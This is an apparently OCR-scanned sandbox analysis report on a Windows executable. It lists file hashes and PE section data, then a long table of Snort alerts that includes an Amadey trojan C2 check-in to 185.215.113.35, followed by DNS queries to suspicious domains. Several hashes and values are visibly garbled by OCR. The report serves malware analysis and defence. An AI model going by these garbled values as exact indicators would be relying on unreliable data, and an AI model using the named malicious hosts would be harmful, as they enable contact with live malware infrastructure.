PE32 executable (GUI) Intel 80386, for MS Windows
6.093285235983875

e Win32 Executable (generic) a (10002005/4)
99.96%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

V72n86vFFg.exe

336896

1a430b2chf785427c87c48d29ala8cOf
€9b392¢34c1bf0e42599bb561f111e3bcea7b3d9

1d1fc9d23aal4b4f484fh86c173c94084bc14a9f551747b
6e06366649a229af5

28ba06d7cc60f27c948071a19bf0e5a64e9db3aa262bdbs
19ad208c2fd6c7e075f9bda85c241a329239b1f584845fbf
1faf590d69856e775fa27307eadf6fd8a

6144:MaXePnFIIS35U3jiXtHAt7ewOljc4hDxElcyG+V5:
MagqlIS35U3jiXtHAt7XOIlw4jElcyG

is program cannot be run in DOS mode....$........ OW...9
P..9P..9Ph".P..9P.X.P..9P.X.P..9P.X.Py.9P.V.P..9P..8P.

.9P.X.P..9P.X.P..9P.X.P..9PRich..9P................ PE..L..L.
..

File Icon

Icon Hash: aedaae9eceab2aa?2

Static PE Info

General

Entrypoint: 0x4194d0

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: TERMINAL_SERVER_AWARE

Time Stamp: 0x5F7CBO04C [Tue Oct 6 17:58:36 2020 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 1

File Version Major: 5

File Version Minor: 1

Subsystem Version Major: 5

Subsystem Version Minor: 1

Import Hash: eddec1d3c2023ed0ele37ce0535d3b62

Entrypoint Preview

Rich Headers

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x3c24e 0x3c400 False 0.577671161826 data 6.93440652301 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.data 0x3e000 0x8cc40 0xde00 False 0.0329215934685 data 0.442963923176 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.rsrc 0xcb000 0x4170 0x4200 False 0.725201231061 data 6.31427116588 IMAGE_SCN_CNT_INITIALIZED_D
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ATA, IMAGE_SCN_MEM_READ
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Name  Virtual Address Virtual Size Raw Size Xored PE
.reloc 0xd0000 0x3bb6 0x3c00 False
Resources

Imports

Possible Origin

Language of compilation system

Spanish

Divehi; Dhivehi; Maldivian

Network Behavior

Snort IDS Alerts

Timestamp Protocol SID
12/01/21- TCP 1087
09:15:27.939009

12/01/21- TCP 1087
09:15:27.939036

12/01/21- TCP 1087
09:15:27.939441

12/01/21- TCP 1087
09:15:27.939458

12/01/21- TCP 1087
09:15:27.939875

12/01/21- TCP 1087
09:15:27.940108

12/01/21- TCP 1087
09:15:27.940662

12/01/21- TCP 1087
09:15:27.940860

12/01/21- TCP 1087
09:15:27.942494

12/01/21- TCP 1087
09:15:27.944501

12/01/21- TCP 1087
09:15:27.944626

12/01/21- TCP 1087
09:15:27.944832

12/01/21- TCP 1087
09:15:27.947079

12/01/21- TCP 1087
09:15:27.947826

12/01/21- TCP 1087
09:15:27.949751

12/01/21- TCP 1087
09:15:27.950441

12/01/21- TCP 1087
09:15:27.952975

12/01/21- TCP 1087
09:15:27.952999

12/01/21- TCP 1087
09:15:27.955087

12/01/21- TCP 1087

09:15:27.959324
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Country where language is spoken

ZLIB Complexity
0.40234375

Colombia

Maldives

Message

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

File Type Entropy

data 4.17421531088

Characteristics

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Source Dest

Port
49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

Port Source IP  Dest IP

80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
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Source Dest

Timestamp Protocol SID Message Port Port Source IP  Dest IP
12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.959364

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.963602

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.964001

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.964072

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.965997

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.966884

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.967654

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.967915

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.970287

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.973048

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.973490

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.973603

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.973648

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.974255

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.975888

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:27.976324

12/01/21- TCP 2027700  ET TROJAN Amadey CnC Check-In 49835 80 192.168.2.4 185.215.113.35
09:15:27.938333

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.017228

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.017357

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.018286

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.019055

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.020556

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.022874

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.025765

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.027190

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.031030

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.033978

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.035708

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.042916

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.046242

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.049292

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.050112

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.051019

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.053931

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.058639

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.061129

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35

09:15:28.064584
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Source Dest

Timestamp Protocol SID Message Port Port Source IP  Dest IP
12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.065445

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.066977

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.068433

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.134916

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.138989

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.141726

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.142391

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.143009

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.143070

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.143182

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.143461

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.145481

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.146280

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.147789

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.147916

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.148044

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.149779

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.150140

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.150298

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.150522

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.153331

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.154210

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.156530

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.156545

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.158568

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.159440

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.160579

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.162738

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.163394

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.163834

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.206930

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.215706

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.218116

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.219546

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.223052

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.231899

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35

09:15:28.234553
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Source Dest

Timestamp Protocol SID Message Port Port Source IP  Dest IP
12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.239499

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.248922

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.372219

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.374754

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.375537

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.377765

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.379787

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.380489

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.381615

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.382527

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.383883

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.394784

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.395252

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.398801

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.402673

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.404912

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.405663

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.407445

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.407460

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.407994

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.411762

12/01/21- TCP 100000122 COMMUNITY WEB-MISC mod_jrun overflow attempt 49836 80 192.168.2.4 185.215.113.35
09:15:28.439352

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.464821

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.465462

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.467554

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.467832

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.469228

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.469912

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.470309

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.471480

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.472389

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.473762

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.474200

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.478022

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.478081

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.478783

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35

09:15:28.479197
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Source Dest

Timestamp Protocol SID Message Port Port Source IP  Dest IP
12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.480086

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.480835

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.486962

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.488334

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.493028

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.493263

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.579528

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.580016

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.580057

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.580111

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.580574

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.582318

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.582604

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.582619

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.582902

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.584358

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.585166

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.585438

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.585556

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.586001

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.590867

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.594124

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.594133

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.594342

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.596731

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.600072

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.618370

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.641513

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.643203

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.651792

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.660490

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.662041

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.662645

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.663005

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.663175

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35
09:15:28.663906

12/01/21- TCP 1087 WEB-MISC whisker tab splice attack 49836 80 192.168.2.4 185.215.113.35

09:15:28.701458
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Timestamp Protocol SID
12/01/21- TCP 1087
09:15:28.701827

12/01/21- TCP 1087
09:15:28.702723

12/01/21- TCP 1087
09:15:28.703395

12/01/21- TCP 1087
09:15:28.704151

12/01/21- TCP 1087
09:15:28.704241

12/01/21- TCP 1087
09:15:28.705690

12/01/21- TCP 1087
09:15:28.705865

12/01/21- TCP 1087
09:15:28.707339

12/01/21- TCP 1087
09:15:28.708021

12/01/21- TCP 1087
09:15:28.708596

12/01/21- TCP 1087
09:15:28.708895

12/01/21- TCP 1087
09:15:28.710438

12/01/21- TCP 1087
09:15:28.711383

12/01/21- TCP 1087
09:15:28.715417

12/01/21- TCP 1087
09:15:28.716333

12/01/21- TCP 1087
09:15:28.719065

12/01/21- TCP 1087
09:15:28.721106

12/01/21- TCP 1087

09:15:28.724709

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Message

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

WEB-MISC whisker tab splice attack

Timestamp
Dec 1, 2021 09:13:54.942939997 CET

Dec 1, 2021 09:13:55.441382885 CET

Dec 1, 2021 09:13:55.642508030 CET

Dec 1, 2021 09:13:56.138216019 CET

Dec 1, 2021 09:13:56.328397989 CET

Dec 1, 2021 09:13:56.804387093 CET

Dec 1, 2021 09:13:57.008013010 CET

Dec 1, 2021 09:13:59.754924059 CET

Dec 1, 2021 09:14:00.303432941 CET

Dec 1, 2021 09:14:00.766045094 CET

Dec 1, 2021 09:14:00.972630978 CET
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Source IP Dest IP
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8
192.168.2.4 8.8.8.8

Trans ID
Ox6aal

0xad29

0Oxc6b7

0x54e

Oxcee8

Oxba8a

0x8eeb

Ox3ae

0xd3b8

0x489d

0x57f4

OP Code
Standard query
)

Standard query
0

Standard query
0

Standard query
0

Standard query
0

Standard query
(0

Standard query
0

Standard query
0

Standard query
©

Standard query
0

Standard query
0

Source Dest
Port Source IP  Dest IP

Port
49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

49836

Name

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-file-host-
3.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

cdn.discor
dapp.com

80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
80 192.168.2.4 185.215.113.35
Type Class

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)

A (IP address) IN (0x0001)
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Timestamp

Dec 1, 2021 09:14:02.441530943 CET

Dec 1, 2021 09:14:02.633739948 CET

Dec 1, 2021 09:14:02.823123932 CET

Dec 1, 2021 09:14:03.471854925 CET

Dec 1, 2021 09:14:03.716103077 CET

Dec 1, 2021 09:14:04.363066912 CET

Dec 1, 2021 09:14:04.551676035 CET

Dec 1, 2021 09:14:05.952857971 CET

Dec 1, 2021 09:14:06.145644903 CET

Dec 1, 2021 09:14:06.346781969 CET

Dec 1, 2021 09:14:06.539828062 CET

Dec 1, 2021 09:14:09.501684904 CET

Dec 1, 2021 09:14:09.693345070 CET

Dec 1, 2021 09:14:09.912483931 CET

Dec 1, 2021 09:14:10.099549055 CET

Dec 1, 2021 09:14:10.330440998 CET

Dec 1, 2021 09:14:12.538619041 CET

Dec 1, 2021 09:14:12.734312057 CET

Dec 1, 2021 09:14:12.921072960 CET

Dec 1, 2021 09:14:13.194108963 CET

Dec 1, 2021 09:14:13.424535990 CET

Dec 1, 2021 09:14:16.784393072 CET

Dec 1, 2021 09:14:17.021230936 CET

Dec 1, 2021 09:14:17.529195070 CET

Dec 1, 2021 09:14:17.809986115 CET

Dec 1, 2021 09:14:18.067924023 CET

Dec 1, 2021 09:14:18.246855974 CET

Dec 1, 2021 09:14:18.508083105 CET

Dec 1, 2021 09:14:19.532625914 CET

Dec 1, 2021 09:14:26.144610882 CET

Dec 1, 2021 09:14:26.603894949 CET

Dec 1, 2021 09:14:26.859071970 CET

Dec 1, 2021 09:14:27.050990105 CET

Dec 1, 2021 09:14:27.351658106 CET

Dec 1, 2021 09:14:27.552272081 CET

Dec 1, 2021 09:14:27.828942060 CET

Dec 1, 2021 09:14:28.056879997 CET
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Source IP

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

